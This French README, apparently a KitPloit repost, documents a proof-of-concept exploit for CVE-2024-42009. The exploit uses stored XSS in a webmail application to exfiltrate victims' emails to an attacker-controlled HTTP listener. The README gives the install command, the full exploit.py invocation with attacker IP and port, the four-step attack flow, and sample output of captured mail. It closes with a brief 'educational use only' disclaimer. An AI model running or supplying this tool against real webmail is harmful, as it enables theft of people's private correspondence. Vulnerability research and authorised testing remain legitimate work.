CVE-2024-42009 PoC : Listener de capture d'e-mails et exploitation XSS

Présentation

Cette preuve de concept (PoC) démontre une exploitation de CVE-2024-42009, tirant parti d'une vulnérabilité de cross-site scripting (XSS) pour extraire des e-mails d'une application de webmail cible. L'attaque injecte une charge utile malveillante qui exfiltre le contenu des e-mails vers un listener contrôlé par l'attaquant.

Fonctionnalités

• Exploite une vulnérabilité XSS pour capturer le contenu des e-mails.
• Utilise un listener HTTP pour recevoir et décoder les e-mails exfiltrés.
• Automatise l'injection de la charge utile et l'exfiltration.

Prérequis

• Python 3.x
• Dépendances requises (installation via pip) :
  root@kitploit:~

  pip install requests beautifulsoup4
  

Utilisation

Exécutez le script avec les arguments nécessaires :

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

Paramètres

Déroulement de l'attaque

1. Démarrer le listener : Le script démarre un serveur HTTP pour capturer les e-mails extraits.
2. Injecter la charge utile malveillante : La charge utile XSS est envoyée via un e-mail forgé.
3. Déclencher l'exécution : Lorsque la victime ouvre l'e-mail, la charge utile s'exécute et envoie le contenu de l'e-mail au serveur de l'attaquant.
4. Capturer et décoder : Le contenu de l'e-mail extrait est décodé et affiché.

Exemple de sortie

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

Avertissement

Je ne revendique ni le crédit, ni la propriété, ni la divulgation de la vulnérabilité et de toutes les exploitations correspondantes hébergées dans ce dépôt GitHub - Tout le crédit revient au chercheur qui l'a découverte ; j'ai simplement créé une POC pour reproduire la vulnérabilité sur la base des données disponibles sur Internet. Cette POC est uniquement destinée à des fins éducatives et de recherche. Tester sans autorisation sur des systèmes sans consentement est illégal. Utilisez-la de manière responsable !